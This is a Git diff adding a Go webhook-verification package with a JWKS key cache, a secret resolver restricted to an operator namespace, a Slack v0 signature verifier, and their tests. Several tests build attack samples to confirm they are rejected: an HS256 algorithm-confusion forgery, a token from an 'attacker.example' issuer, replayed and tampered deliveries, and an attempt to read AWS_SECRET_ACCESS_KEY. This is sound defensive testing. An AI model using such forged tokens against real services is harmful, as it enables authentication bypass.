+// stale or the kid is unknown (subject to the minimum refresh interval).
+func (c *jwksCache) keyFor(ctx context.Context, kid string) (any, error) {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	now := c.now()
+	stale := c.keys == nil || now.Sub(c.fetchedAt) >= c.ttl
+	if stale {
+		if err := c.refreshLocked(ctx, now); err != nil {
+			return nil, err
+		}
+	}
+	if key, ok := c.lookupLocked(kid); ok {
+		return key, nil
+	}
+	// Unknown kid on a fresh cache: a rotation may have landed. Force one
+	// refresh if we have not fetched too recently.
+	if !stale && now.Sub(c.fetchedAt) >= c.minRefresh {
+		if err := c.refreshLocked(ctx, now); err != nil {
+			return nil, err
+		}
+		if key, ok := c.lookupLocked(kid); ok {
+			return key, nil
+		}
+	}
+	return nil, fmt.Errorf("%w: %q", errKeyNotFound, kid)
+}
+
+// lookupLocked resolves kid against the cached keys. An empty kid resolves only
+// when the JWKS publishes exactly one usable key.
+func (c *jwksCache) lookupLocked(kid string) (any, bool) {
+	if kid != "" {
+		key, ok := c.keys[kid]
+		return key, ok
+	}
+	if len(c.keys)+len(c.anon) == 1 {
+		if len(c.anon) == 1 {
+			return c.anon[0], true
+		}
+		for _, key := range c.keys {
+			return key, true
+		}
+	}
+	return nil, false
+}
+
+func (c *jwksCache) refreshLocked(ctx context.Context, now time.Time) error {
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, c.url, nil)
+	if err != nil {
+		return fmt.Errorf("%w: build request: %w", errJWKSUnavailable, err)
+	}
+	req.Header.Set("Accept", "application/json")
+	resp, err := c.client.Do(req)
+	if err != nil {
+		return fmt.Errorf("%w: fetch %s: %w", errJWKSUnavailable, c.url, err)
+	}
+	defer func() { _ = resp.Body.Close() }()
+	if resp.StatusCode != http.StatusOK {
+		return fmt.Errorf("%w: fetch %s: status %d", errJWKSUnavailable, c.url, resp.StatusCode)
+	}
+	body, err := io.ReadAll(io.LimitReader(resp.Body, jwksMaxBodyBytes))
+	if err != nil {
+		return fmt.Errorf("%w: read %s: %w", errJWKSUnavailable, c.url, err)
+	}
+	var set jose.JSONWebKeySet
+	if err := json.Unmarshal(body, &set); err != nil {
+		return fmt.Errorf("%w: parse %s: %w", errJWKSUnavailable, c.url, err)
+	}
+
+	keys := make(map[string]any, len(set.Keys))
+	var anon []any
+	for i := range set.Keys {
+		k := set.Keys[i]
+		if !k.Valid() {
+			continue
+		}
+		if k.Use != "" && k.Use != "sig" {
+			continue
+		}
+		pub := publicOf(k)
+		if pub == nil {
+			continue
+		}
+		if k.KeyID == "" {
+			anon = append(anon, pub)
+			continue
+		}
+		keys[k.KeyID] = pub
+	}
+	if len(keys)+len(anon) == 0 {
+		return fmt.Errorf("%w: %s published no usable signing keys", errJWKSUnavailable, c.url)
+	}
+	c.keys = keys
+	c.anon = anon
+	c.fetchedAt = now
+	return nil
+}
+
+// publicOf returns the public half of a JWK, collapsing a private key to its
+// public key when a JWKS erroneously carries private material.
+func publicOf(k jose.JSONWebKey) any {
+	if k.IsPublic() {
+		return k.Key
+	}
+	pub := k.Public()
+	if pub.Key == nil {
+		return nil
+	}
+	return pub.Key
+}
diff --git a/internal/webhookverify/jwt_test.go b/internal/webhookverify/jwt_test.go
new file mode 100644
index 0000000000..0c49176973
--- /dev/null
+++ b/internal/webhookverify/jwt_test.go
@@ -0,0 +1,236 @@
+package webhookverify
+
+import (
+	"context"
+	"crypto/rand"
+	"crypto/rsa"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	jose "github.com/go-jose/go-jose/v4"
+	"github.com/golang-jwt/jwt/v5"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+const (
+	testIssuer   = "https://issuer.gascity.example"
+	testAudience = "supervisor-webhook"
+	testKID      = "key-1"
+)
+
+var testNow = time.Unix(1_700_000_000, 0)
+
+func newRSAKey(t *testing.T) *rsa.PrivateKey {
+	t.Helper()
+	key, err := rsa.GenerateKey(rand.Reader, 2048)
+	if err != nil {
+		t.Fatalf("rsa.GenerateKey: %v", err)
+	}
+	return key
+}
+
+func jwksJSON(t *testing.T, pub *rsa.PublicKey, kid string) []byte {
+	t.Helper()
+	set := jose.JSONWebKeySet{Keys: []jose.JSONWebKey{{Key: pub, KeyID: kid, Algorithm: "RS256", Use: "sig"}}}
+	b, err := json.Marshal(set)
+	if err != nil {
+		t.Fatalf("marshal jwks: %v", err)
+	}
+	return b
+}
+
+func signRS256(t *testing.T, priv *rsa.PrivateKey, kid string, claims jwt.Claims) string {
+	t.Helper()
+	tok := jwt.NewWithClaims(jwt.SigningMethodRS256, claims)
+	tok.Header["kid"] = kid
+	s, err := tok.SignedString(priv)
+	if err != nil {
+		t.Fatalf("sign: %v", err)
+	}
+	return s
+}
+
+func goodClaims() jwt.RegisteredClaims {
+	return jwt.RegisteredClaims{
+		Issuer:    testIssuer,
+		Subject:   "user-42",
+		Audience:  jwt.ClaimStrings{testAudience},
+		ID:        "jti-abc",
+		ExpiresAt: jwt.NewNumericDate(testNow.Add(time.Hour)),
+		IssuedAt:  jwt.NewNumericDate(testNow.Add(-time.Minute)),
+	}
+}
+
+// jwksFixture spins a TLS JWKS server and returns a constructed verifier plus a
+// counter of how many times the JWKS was fetched.
+func jwksFixture(t *testing.T, priv *rsa.PrivateKey) (Verifier, *int64) {
+	t.Helper()
+	var fetches int64
+	body := jwksJSON(t, &priv.PublicKey, testKID)
+	srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+		atomic.AddInt64(&fetches, 1)
+		w.Header().Set("Content-Type", "application/json")
+		_, _ = w.Write(body)
+	}))
+	t.Cleanup(srv.Close)
+
+	policy := JWTVerifierPolicy{Issuer: testIssuer, Audience: testAudience, JWKSURL: srv.URL}
+	v, err := New("jwt-jwks", config.WebhookVerify{}, Options{
+		JWTPolicy:  &policy,
+		HTTPClient: srv.Client(),
+		Now:        func() time.Time { return testNow },
+	})
+	if err != nil {
+		t.Fatalf("New: %v", err)
+	}
+	return v, &fetches
+}
+
+func bearer(token string) http.Header { return hdr("Authorization", "Bearer "+token) }
+
+func TestJWTJWKS_ValidToken(t *testing.T) {
+	priv := newRSAKey(t)
+	v, fetches := jwksFixture(t, priv)
+	token := signRS256(t, priv, testKID, goodClaims())
+
+	res, err := v.Verify(context.Background(), VerifyRequest{Header: bearer(token)})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if !res.OK {
+		t.Fatalf("expected OK, reason %q", res.Reason)
+	}
+	if res.Identity != "user-42" {
+		t.Errorf("Identity = %q, want user-42", res.Identity)
+	}
+	if res.DedupID != "jti-abc" {
+		t.Errorf("DedupID = %q, want jti-abc", res.DedupID)
+	}
+
+	// Second verify should hit the cache, not re-fetch.
+	if _, err := v.Verify(context.Background(), VerifyRequest{Header: bearer(token)}); err != nil {
+		t.Fatalf("second Verify: %v", err)
+	}
+	if got := atomic.LoadInt64(fetches); got != 1 {
+		t.Errorf("JWKS fetched %d times, want 1 (cached)", got)
+	}
+}
+
+func TestJWTJWKS_BadIssuerRejected(t *testing.T) {
+	priv := newRSAKey(t)
+	v, _ := jwksFixture(t, priv)
+	claims := goodClaims()
+	claims.Issuer = "https://attacker.example"
+	res, err := v.Verify(context.Background(), VerifyRequest{Header: bearer(signRS256(t, priv, testKID, claims))})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if res.OK {
+		t.Fatal("token with wrong issuer must be rejected")
+	}
+}
+
+func TestJWTJWKS_BadAudienceRejected(t *testing.T) {
+	priv := newRSAKey(t)
+	v, _ := jwksFixture(t, priv)
+	claims := goodClaims()
+	claims.Audience = jwt.ClaimStrings{"some-other-service"}
+	res, _ := v.Verify(context.Background(), VerifyRequest{Header: bearer(signRS256(t, priv, testKID, claims))})
+	if res.OK {
+		t.Fatal("token with wrong audience must be rejected")
+	}
+}
+
+func TestJWTJWKS_ExpiredRejected(t *testing.T) {
+	priv := newRSAKey(t)
+	v, _ := jwksFixture(t, priv)
+	claims := goodClaims()
+	claims.ExpiresAt = jwt.NewNumericDate(testNow.Add(-time.Hour))
+	res, _ := v.Verify(context.Background(), VerifyRequest{Header: bearer(signRS256(t, priv, testKID, claims))})
+	if res.OK {
+		t.Fatal("expired token must be rejected")
+	}
+}
+
+func TestJWTJWKS_WrongSigningKeyRejected(t *testing.T) {
+	priv := newRSAKey(t)
+	other := newRSAKey(t)
+	v, _ := jwksFixture(t, priv)
+	// Signed by a key not in the JWKS, but claiming the published kid.
+	res, _ := v.Verify(context.Background(), VerifyRequest{Header: bearer(signRS256(t, other, testKID, goodClaims()))})
+	if res.OK {
+		t.Fatal("token signed by an unpublished key must be rejected")
+	}
+}
+
+func TestJWTJWKS_AlgConfusionRejected(t *testing.T) {
+	priv := newRSAKey(t)
+	v, _ := jwksFixture(t, priv)
+	// Attacker forges an HS256 token; the verifier pins asymmetric algs only.
+	tok := jwt.NewWithClaims(jwt.SigningMethodHS256, goodClaims())
+	tok.Header["kid"] = testKID
+	forged, err := tok.SignedString([]byte("public-key-as-hmac-secret"))
+	if err != nil {
+		t.Fatalf("sign HS256: %v", err)
+	}
+	res, err := v.Verify(context.Background(), VerifyRequest{Header: bearer(forged)})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if res.OK {
+		t.Fatal("HS256 (alg-confusion) token must be rejected")
+	}
+}
+
+func TestJWTJWKS_UnknownKIDRejected(t *testing.T) {
+	priv := newRSAKey(t)
+	v, _ := jwksFixture(t, priv)
+	res, err := v.Verify(context.Background(), VerifyRequest{Header: bearer(signRS256(t, priv, "no-such-kid", goodClaims()))})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if res.OK {
+		t.Fatal("token referencing an unknown kid must be rejected")
+	}
+}
+
+func TestJWTJWKS_MissingTokenHeader(t *testing.T) {
+	priv := newRSAKey(t)
+	v, _ := jwksFixture(t, priv)
+	res, err := v.Verify(context.Background(), VerifyRequest{Header: hdr()})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if res.OK {
+		t.Fatal("missing token header must not verify")
+	}
+}
+
+func TestJWTJWKS_UnavailableJWKSIsOperationalError(t *testing.T) {
+	priv := newRSAKey(t)
+	srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+		http.Error(w, "boom", http.StatusInternalServerError)
+	}))
+	t.Cleanup(srv.Close)
+	policy := JWTVerifierPolicy{Issuer: testIssuer, Audience: testAudience, JWKSURL: srv.URL}
+	v, err := New("jwt-jwks", config.WebhookVerify{}, Options{JWTPolicy: &policy, HTTPClient: srv.Client(), Now: func() time.Time { return testNow }})
+	if err != nil {
+		t.Fatalf("New: %v", err)
+	}
+	_, err = v.Verify(context.Background(), VerifyRequest{Header: bearer(signRS256(t, priv, testKID, goodClaims()))})
+	if err == nil {
+		t.Fatal("an unreachable JWKS must surface as an operational error, not OK=false")
+	}
+}
+
+func TestJWTJWKS_RequiresOperatorPolicy(t *testing.T) {
+	// R1: no policy means a pack cannot supply iss/aud/jwks — construction fails.
+	if _, err := New("jwt-jwks", config.WebhookVerify{Issuer: "pack-supplied", JWKSURL: "https://pack/jwks", Audience: "pack"}, Options{}); err == nil {
+		t.Fatal("jwt-jwks without an operator JWTVerifierPolicy must fail construction")
+	}
+}
diff --git a/internal/webhookverify/secret.go b/internal/webhookverify/secret.go
new file mode 100644
index 0000000000..081eae190d
--- /dev/null
+++ b/internal/webhookverify/secret.go
@@ -0,0 +1,143 @@
+package webhookverify
+
+import (
+	"errors"
+	"fmt"
+	"net/url"
+	"os"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+// OperatorSecretEnvPrefix is the environment-variable namespace an operator
+// controls for webhook secrets. A WebhookVerify.SecretEnv must start with this
+// prefix so a pack cannot point secret resolution at an arbitrary ambient
+// variable (HOME, AWS_SECRET_ACCESS_KEY, GC_CITY, …). This is the load-bearing
+// half of security review R1.
+const OperatorSecretEnvPrefix = "GC_WEBHOOK_"
+
+// MinSecretBytes is the minimum accepted secret length. A shorter (or empty)
+// secret is rejected so a misconfigured or unset secret fails closed instead of
+// producing an HMAC that an attacker could feasibly reproduce.
+const MinSecretBytes = 16
+
+// Secret-resolution errors. They are distinguishable with errors.Is so the
+// receiver can log the specific fault; all of them mean "refuse the request".
+var (
+	// ErrSecretEnvUnnamed is returned when SecretEnv is empty for a scheme that
+	// requires a secret.
+	ErrSecretEnvUnnamed = errors.New("webhookverify: secret_env is not set")
+	// ErrSecretEnvPrefix is returned when SecretEnv is outside the operator
+	// namespace (does not start with OperatorSecretEnvPrefix).
+	ErrSecretEnvPrefix = errors.New("webhookverify: secret_env is not in the operator namespace")
+	// ErrSecretUnset is returned when the named variable is not present in the
+	// environment. Resolution never falls through to an empty secret.
+	ErrSecretUnset = errors.New("webhookverify: secret_env is not present in the environment")
+	// ErrSecretTooWeak is returned when the resolved secret is shorter than
+	// MinSecretBytes or has no entropy.
+	ErrSecretTooWeak = errors.New("webhookverify: resolved secret is too short or has no entropy")
+)
+
+// SecretResolver resolves the raw secret material for a webhook from the
+// operator-owned environment, enforcing the R1 invariants: operator namespace,
+// present-not-empty, and a minimum entropy bar.
+type SecretResolver struct {
+	// lookup mirrors os.LookupEnv; tests inject a fake environment.
+	lookup func(string) (string, bool)
+}
+
+// NewSecretResolver returns a resolver reading the process environment.
+func NewSecretResolver() *SecretResolver {
+	return &SecretResolver{lookup: os.LookupEnv}
+}
+
+// NewSecretResolverWithEnv returns a resolver reading from lookup instead of the
+// process environment. Intended for tests.
+func NewSecretResolverWithEnv(lookup func(string) (string, bool)) *SecretResolver {
+	return &SecretResolver{lookup: lookup}
+}
+
+// Resolve returns the secret bytes for v.SecretEnv, or an error if the name is
+// outside the operator namespace, unset, or too weak. It applies to schemes
+// that carry secret material in an env var: the HMAC family (the shared HMAC
+// key) and discord-ed25519 (the app public key). jwt-jwks carries no env
+// secret — its trust anchor is a [JWTVerifierPolicy] — so callers must not call
+// Resolve for it.
+func (r *SecretResolver) Resolve(v config.WebhookVerify) ([]byte, error) {
+	name := strings.TrimSpace(v.SecretEnv)
+	if name == "" {
+		return nil, ErrSecretEnvUnnamed
+	}
+	if !strings.HasPrefix(name, OperatorSecretEnvPrefix) {
+		return nil, fmt.Errorf("%w: %q must start with %q", ErrSecretEnvPrefix, name, OperatorSecretEnvPrefix)
+	}
+	lookup := r.lookup
+	if lookup == nil {
+		lookup = os.LookupEnv
+	}
+	val, ok := lookup(name)
+	if !ok {
+		return nil, fmt.Errorf("%w: %q", ErrSecretUnset, name)
+	}
+	secret := []byte(val)
+	if len(secret) < MinSecretBytes {
+		return nil, fmt.Errorf("%w: %q is %d bytes, need >= %d", ErrSecretTooWeak, name, len(secret), MinSecretBytes)
+	}
+	if !hasMinimalEntropy(secret) {
+		return nil, fmt.Errorf("%w: %q is a single repeated byte", ErrSecretTooWeak, name)
+	}
+	return secret, nil
+}
+
+// hasMinimalEntropy rejects degenerate secrets that clear the length bar but
+// carry no entropy (e.g. "AAAAAAAAAAAAAAAA"). It is a floor, not a strength
+// estimator: a secret with at least two distinct byte values passes.
+func hasMinimalEntropy(secret []byte) bool {
+	first := secret[0]
+	for _, b := range secret[1:] {
+		if b != first {
+			return true
+		}
+	}
+	return false
+}
+
+// JWTVerifierPolicy pins the jwt-jwks trust anchor. It is operator-owned: the
+// receiver populates it from city.toml, never from pack-authored TOML. Holding
+// these fields here — separate from config.WebhookVerify — is what makes the R1
+// boundary enforceable in the type system: a pack cannot supply an issuer,
+// audience, or JWKS URL that this package will trust.
+type JWTVerifierPolicy struct {
+	// Issuer is the required "iss" claim and is pinned exactly.
+	Issuer string
+	// Audience is the required "aud" claim (any match).
+	Audience string
+	// JWKSURL is the https endpoint publishing the signing keys.
+	JWKSURL string
+}
+
+// validate checks that the policy is fully and safely specified.
+func (p JWTVerifierPolicy) validate() error {
+	if strings.TrimSpace(p.Issuer) == "" {
+		return errors.New("webhookverify: jwt policy issuer is required")
+	}
+	if strings.TrimSpace(p.Audience) == "" {
+		return errors.New("webhookverify: jwt policy audience is required")
+	}
+	raw := strings.TrimSpace(p.JWKSURL)
+	if raw == "" {
+		return errors.New("webhookverify: jwt policy jwks_url is required")
+	}
+	u, err := url.Parse(raw)
+	if err != nil {
+		return fmt.Errorf("webhookverify: jwt policy jwks_url is invalid: %w", err)
+	}
+	if u.Scheme != "https" {
+		return fmt.Errorf("webhookverify: jwt policy jwks_url must be https, got %q", u.Scheme)
+	}
+	if u.Host == "" {
+		return errors.New("webhookverify: jwt policy jwks_url has no host")
+	}
+	return nil
+}
diff --git a/internal/webhookverify/secret_test.go b/internal/webhookverify/secret_test.go
new file mode 100644
index 0000000000..b31a4353f3
--- /dev/null
+++ b/internal/webhookverify/secret_test.go
@@ -0,0 +1,94 @@
+package webhookverify
+
+import (
+	"errors"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+func staticEnv(m map[string]string) func(string) (string, bool) {
+	return func(k string) (string, bool) {
+		v, ok := m[k]
+		return v, ok
+	}
+}
+
+func TestSecretResolver_RejectsNonOperatorPrefix(t *testing.T) {
+	// R1: a pack must not be able to name an arbitrary ambient variable.
+	r := NewSecretResolverWithEnv(staticEnv(map[string]string{
+		"AWS_SECRET_ACCESS_KEY": "AKIAabcdefghijklmnop",
+		"HOME":                  "/home/ubuntu",
+	}))
+	for _, env := range []string{"AWS_SECRET_ACCESS_KEY", "HOME", "GC_CITY", "PATH"} {
+		_, err := r.Resolve(config.WebhookVerify{SecretEnv: env})
+		if !errors.Is(err, ErrSecretEnvPrefix) {
+			t.Errorf("SecretEnv=%q: err=%v, want ErrSecretEnvPrefix", env, err)
+		}
+	}
+}
+
+func TestSecretResolver_UnsetVarHardErrors(t *testing.T) {
+	// R1: an unset operator var must hard-error, never fall through to empty.
+	r := NewSecretResolverWithEnv(staticEnv(map[string]string{}))
+	_, err := r.Resolve(config.WebhookVerify{SecretEnv: "GC_WEBHOOK_GITHUB_SECRET"})
+	if !errors.Is(err, ErrSecretUnset) {
+		t.Fatalf("err=%v, want ErrSecretUnset", err)
+	}
+}
+
+func TestSecretResolver_RejectsWeakSecret(t *testing.T) {
+	cases := map[string]string{
+		"empty":       "",
+		"short":       "too-short",        // < 16 bytes
+		"fifteen":     "0123456789abcde",  // 15 bytes
+		"zeroEntropy": "AAAAAAAAAAAAAAAA", // 16 bytes but no entropy
+	}
+	for name, val := range cases {
+		r := NewSecretResolverWithEnv(staticEnv(map[string]string{"GC_WEBHOOK_X": val}))
+		_, err := r.Resolve(config.WebhookVerify{SecretEnv: "GC_WEBHOOK_X"})
+		if !errors.Is(err, ErrSecretTooWeak) {
+			t.Errorf("%s: err=%v, want ErrSecretTooWeak", name, err)
+		}
+	}
+}
+
+func TestSecretResolver_AcceptsOperatorSecret(t *testing.T) {
+	want := "a-perfectly-strong-webhook-secret-value"
+	r := NewSecretResolverWithEnv(staticEnv(map[string]string{"GC_WEBHOOK_GITHUB_SECRET": want}))
+	got, err := r.Resolve(config.WebhookVerify{SecretEnv: "GC_WEBHOOK_GITHUB_SECRET"})
+	if err != nil {
+		t.Fatalf("Resolve: %v", err)
+	}
+	if string(got) != want {
+		t.Fatalf("got %q, want %q", got, want)
+	}
+}
+
+func TestSecretResolver_EmptySecretEnvName(t *testing.T) {
+	r := NewSecretResolverWithEnv(staticEnv(map[string]string{}))
+	_, err := r.Resolve(config.WebhookVerify{SecretEnv: "   "})
+	if !errors.Is(err, ErrSecretEnvUnnamed) {
+		t.Fatalf("err=%v, want ErrSecretEnvUnnamed", err)
+	}
+}
+
+func TestJWTVerifierPolicy_Validate(t *testing.T) {
+	good := JWTVerifierPolicy{Issuer: "https://issuer.example", Audience: "gascity", JWKSURL: "https://issuer.example/jwks"}
+	if err := good.validate(); err != nil {
+		t.Fatalf("good policy rejected: %v", err)
+	}
+	bad := []JWTVerifierPolicy{
+		{Audience: "a", JWKSURL: "https://x/jwks"},             // no issuer
+		{Issuer: "i", JWKSURL: "https://x/jwks"},               // no audience
+		{Issuer: "i", Audience: "a"},                           // no jwks url
+		{Issuer: "i", Audience: "a", JWKSURL: "http://x/jwks"}, // not https
+		{Issuer: "i", Audience: "a", JWKSURL: "https:///jwks"}, // no host
+		{Issuer: "i", Audience: "a", JWKSURL: "://bad"},        // unparseable
+	}
+	for i, p := range bad {
+		if err := p.validate(); err == nil {
+			t.Errorf("bad policy[%d] accepted: %+v", i, p)
+		}
+	}
+}
diff --git a/internal/webhookverify/slack.go b/internal/webhookverify/slack.go
new file mode 100644
index 0000000000..bbca4ca082
--- /dev/null
+++ b/internal/webhookverify/slack.go
@@ -0,0 +1,95 @@
+package webhookverify
+
+import (
+	"context"
+	"crypto/subtle"
+	"encoding/hex"
+	"errors"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+const (
+	slackSignatureHeader = "X-Slack-Signature"
+	slackTimestampHeader = "X-Slack-Request-Timestamp"
+	slackVersionPrefix   = "v0="
+	slackDefaultWindow   = 5 * time.Minute
+)
+
+// slackV0 verifies Slack's v0 signing scheme: an HMAC-SHA256 over
+// "v0:{timestamp}:{body}", compared to X-Slack-Signature ("v0=<hex>"), with a
+// replay window on X-Slack-Request-Timestamp. The Slack event type lives in the
+// JSON payload and is E5's concern; this layer surfaces the signed timestamp
+// for dedup.
+type slackV0 struct {
+	signatureHeader string
+	timestampHeader string
+	window          time.Duration
+	now             func() time.Time
+}
+
+func newSlackV0(cfg config.WebhookVerify, opts Options) (Verifier, error) {
+	// A pack authors [webhook.verify], so replay_window is untrusted: clamp it
+	// down to the operator ceiling (maxReplayWindow) so a pack cannot widen the
+	// freshness window it benefits from weakening.
+	window, err := resolveReplayWindow(cfg.ReplayWindow, slackDefaultWindow)
+	if err != nil {
+		return nil, err
+	}
+	return &slackV0{
+		signatureHeader: headerOrDefault(cfg.SignatureHeader, slackSignatureHeader),
+		timestampHeader: headerOrDefault(cfg.TimestampHeader, slackTimestampHeader),
+		window:          window,
+		now:             opts.Now,
+	}, nil
+}
+
+func (v *slackV0) Scheme() string { return "slack-v0" }
+
+func (v *slackV0) Verify(_ context.Context, req VerifyRequest) (VerifyResult, error) {
+	if len(req.Secret) == 0 {
+		return VerifyResult{}, errors.New("webhookverify: slack-v0 requires a resolved secret")
+	}
+	tsRaw := strings.TrimSpace(req.Header.Get(v.timestampHeader))
+	if tsRaw == "" {
+		return failf("missing %s header", v.timestampHeader), nil
+	}
+	tsSecs, err := strconv.ParseInt(tsRaw, 10, 64)
+	if err != nil {
+		return failf("%s is not a unix timestamp", v.timestampHeader), nil
+	}
+	skew := effectiveNow(req, v.now).Sub(time.Unix(tsSecs, 0))
+	if skew < 0 {
+		skew = -skew
+	}
+	if skew > v.window {
+		return failf("%s skew %s exceeds replay window %s", v.timestampHeader, skew.Truncate(time.Second), v.window), nil
+	}
+
+	sig := strings.TrimSpace(req.Header.Get(v.signatureHeader))
+	if sig == "" {
+		return failf("missing %s signature header", v.signatureHeader), nil
+	}
+	rest, ok := strings.CutPrefix(sig, slackVersionPrefix)
+	if !ok {
+		return failf("%s is not in v0=<hex> form", v.signatureHeader), nil
+	}
+	provided, err := hex.DecodeString(rest)
+	if err != nil {
+		return failf("%s hex is malformed", v.signatureHeader), nil
+	}
+
+	base := make([]byte, 0, len(slackVersionPrefix)+len(tsRaw)+1+len(req.Body))
+	base = append(base, "v0:"...)
+	base = append(base, tsRaw...)
+	base = append(base, ':')
+	base = append(base, req.Body...)
+	expected := hmacSHA256(req.Secret, base)
+	if subtle.ConstantTimeCompare(provided, expected) != 1 {
+		return failf("%s does not match", v.signatureHeader), nil
+	}
+	return VerifyResult{OK: true, DedupID: tsRaw}, nil
+}
diff --git a/internal/webhookverify/slack_test.go b/internal/webhookverify/slack_test.go
new file mode 100644
index 0000000000..579a5e8e6a
--- /dev/null
+++ b/internal/webhookverify/slack_test.go
@@ -0,0 +1,146 @@
+package webhookverify
+
+import (
+	"context"
+	"encoding/hex"
+	"fmt"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+const slackTestSecret = "slack-signing-secret-0123456789ab"
+
+func slackSign(ts string, body []byte) string {
+	base := []byte("v0:" + ts + ":")
+	base = append(base, body...)
+	return "v0=" + hex.EncodeToString(hmacSHA256([]byte(slackTestSecret), base))
+}
+
+func TestSlackV0_Valid(t *testing.T) {
+	secret := slackTestSecret
+	body := []byte(`{"type":"event_callback"}`)
+	now := time.Unix(1_700_000_000, 0)
+	ts := fmt.Sprintf("%d", now.Unix())
+	sig := slackSign(ts, body)
+
+	v, err := New("slack-v0", config.WebhookVerify{}, Options{})
+	if err != nil {
+		t.Fatalf("New: %v", err)
+	}
+	res, err := v.Verify(context.Background(), VerifyRequest{
+		Body:   body,
+		Secret: []byte(secret),
+		Header: hdr(slackSignatureHeader, sig, slackTimestampHeader, ts),
+		Now:    func() time.Time { return now.Add(30 * time.Second) },
+	})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if !res.OK {
+		t.Fatalf("expected OK, reason %q", res.Reason)
+	}
+	if res.DedupID != ts {
+		t.Errorf("DedupID = %q, want the signed timestamp %q", res.DedupID, ts)
+	}
+}
+
+func TestSlackV0_ReplaySkewRejected(t *testing.T) {
+	secret := "slack-signing-secret-0123456789ab"
+	body := []byte(`{"type":"event_callback"}`)
+	signed := time.Unix(1_700_000_000, 0)
+	ts := fmt.Sprintf("%d", signed.Unix())
+	sig := slackSign(ts, body)
+
+	v, _ := New("slack-v0", config.WebhookVerify{}, Options{})
+	res, err := v.Verify(context.Background(), VerifyRequest{
+		Body:   body,
+		Secret: []byte(secret),
+		Header: hdr(slackSignatureHeader, sig, slackTimestampHeader, ts),
+		// 6 minutes later — outside the 5-minute replay window even though the
+		// signature itself is valid.
+		Now: func() time.Time { return signed.Add(6 * time.Minute) },
+	})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if res.OK {
+		t.Fatal("a replayed delivery outside the window must be rejected")
+	}
+}
+
+func TestSlackV0_TamperedWrongSecretMissing(t *testing.T) {
+	secret := "slack-signing-secret-0123456789ab"
+	body := []byte(`{"type":"event_callback"}`)
+	now := time.Unix(1_700_000_000, 0)
+	ts := fmt.Sprintf("%d", now.Unix())
+	sig := slackSign(ts, body)
+	clock := func() time.Time { return now.Add(10 * time.Second) }
+	v, _ := New("slack-v0", config.WebhookVerify{}, Options{})
+
+	// tampered body
+	res, _ := v.Verify(context.Background(), VerifyRequest{Body: []byte("tampered"), Secret: []byte(secret), Header: hdr(slackSignatureHeader, sig, slackTimestampHeader, ts), Now: clock})
+	if res.OK {
+		t.Error("tampered body must not verify")
+	}
+	// wrong secret
+	res, _ = v.Verify(context.Background(), VerifyRequest{Body: body, Secret: []byte("wrong-secret-wrong-secret-wrong!"), Header: hdr(slackSignatureHeader, sig, slackTimestampHeader, ts), Now: clock})
+	if res.OK {
+		t.Error("wrong secret must not verify")
+	}
+	// missing signature header
+	res, _ = v.Verify(context.Background(), VerifyRequest{Body: body, Secret: []byte(secret), Header: hdr(slackTimestampHeader, ts), Now: clock})
+	if res.OK {
+		t.Error("missing signature header must not verify")
+	}
+	// missing timestamp header
+	res, _ = v.Verify(context.Background(), VerifyRequest{Body: body, Secret: []byte(secret), Header: hdr(slackSignatureHeader, sig), Now: clock})
+	if res.OK {
+		t.Error("missing timestamp header must not verify")
+	}
+}
+
+func TestSlackV0_ConfigurableWindow(t *testing.T) {
+	secret := "slack-signing-secret-0123456789ab"
+	body := []byte(`{}`)
+	now := time.Unix(1_700_000_000, 0)
+	ts := fmt.Sprintf("%d", now.Unix())
+	sig := slackSign(ts, body)
+
+	// A 1-minute window rejects a 2-minute-old delivery that the default 5m
+	// window would accept.
+	v, err := New("slack-v0", config.WebhookVerify{ReplayWindow: "1m"}, Options{})
+	if err != nil {
+		t.Fatalf("New: %v", err)
+	}
+	res, _ := v.Verify(context.Background(), VerifyRequest{Body: body, Secret: []byte(secret), Header: hdr(slackSignatureHeader, sig, slackTimestampHeader, ts), Now: func() time.Time { return now.Add(2 * time.Minute) }})
+	if res.OK {
+		t.Fatal("delivery outside the configured 1m window must be rejected")
+	}
+}
+
+// FIX 2: a pack-authored replay_window above the operator ceiling is clamped down
+// to maxReplayWindow — a pack cannot widen the freshness window it benefits from
+// weakening. A delivery just outside the clamped max is still rejected.
+func TestSlackV0_ReplayWindowClampedToMax(t *testing.T) {
+	secret := slackTestSecret
+	body := []byte(`{}`)
+	now := time.Unix(1_700_000_000, 0)
+	ts := fmt.Sprintf("%d", now.Unix())
+	sig := slackSign(ts, body)
+
+	// A pack asks for a 1000h window; the effective window is clamped to 15m.
+	v, err := New("slack-v0", config.WebhookVerify{ReplayWindow: "1000h"}, Options{})
+	if err != nil {
+		t.Fatalf("New: %v", err)
+	}
+	res, _ := v.Verify(context.Background(), VerifyRequest{
+		Body: body, Secret: []byte(secret),
+		Header: hdr(slackSignatureHeader, sig, slackTimestampHeader, ts),
+		Now:    func() time.Time { return now.Add(maxReplayWindow + time.Minute) },
+	})
+	if res.OK {
+		t.Fatalf("a pack replay_window=1000h must be clamped to %s; a stale delivery past the max must be rejected", maxReplayWindow)
+	}
+}
diff --git a/internal/webhookverify/testenv_import_test.go b/internal/webhookverify/testenv_import_test.go
new file mode 100644
index 0000000000..db9ce5de31
--- /dev/null
+++ b/internal/webhookverify/testenv_import_test.go
@@ -0,0 +1,5 @@
+// Code generated by go run scripts/add-testenv-import.go; DO NOT EDIT.
+
+package webhookverify
+
+import _ "github.com/gastownhall/gascity/internal/testenv"
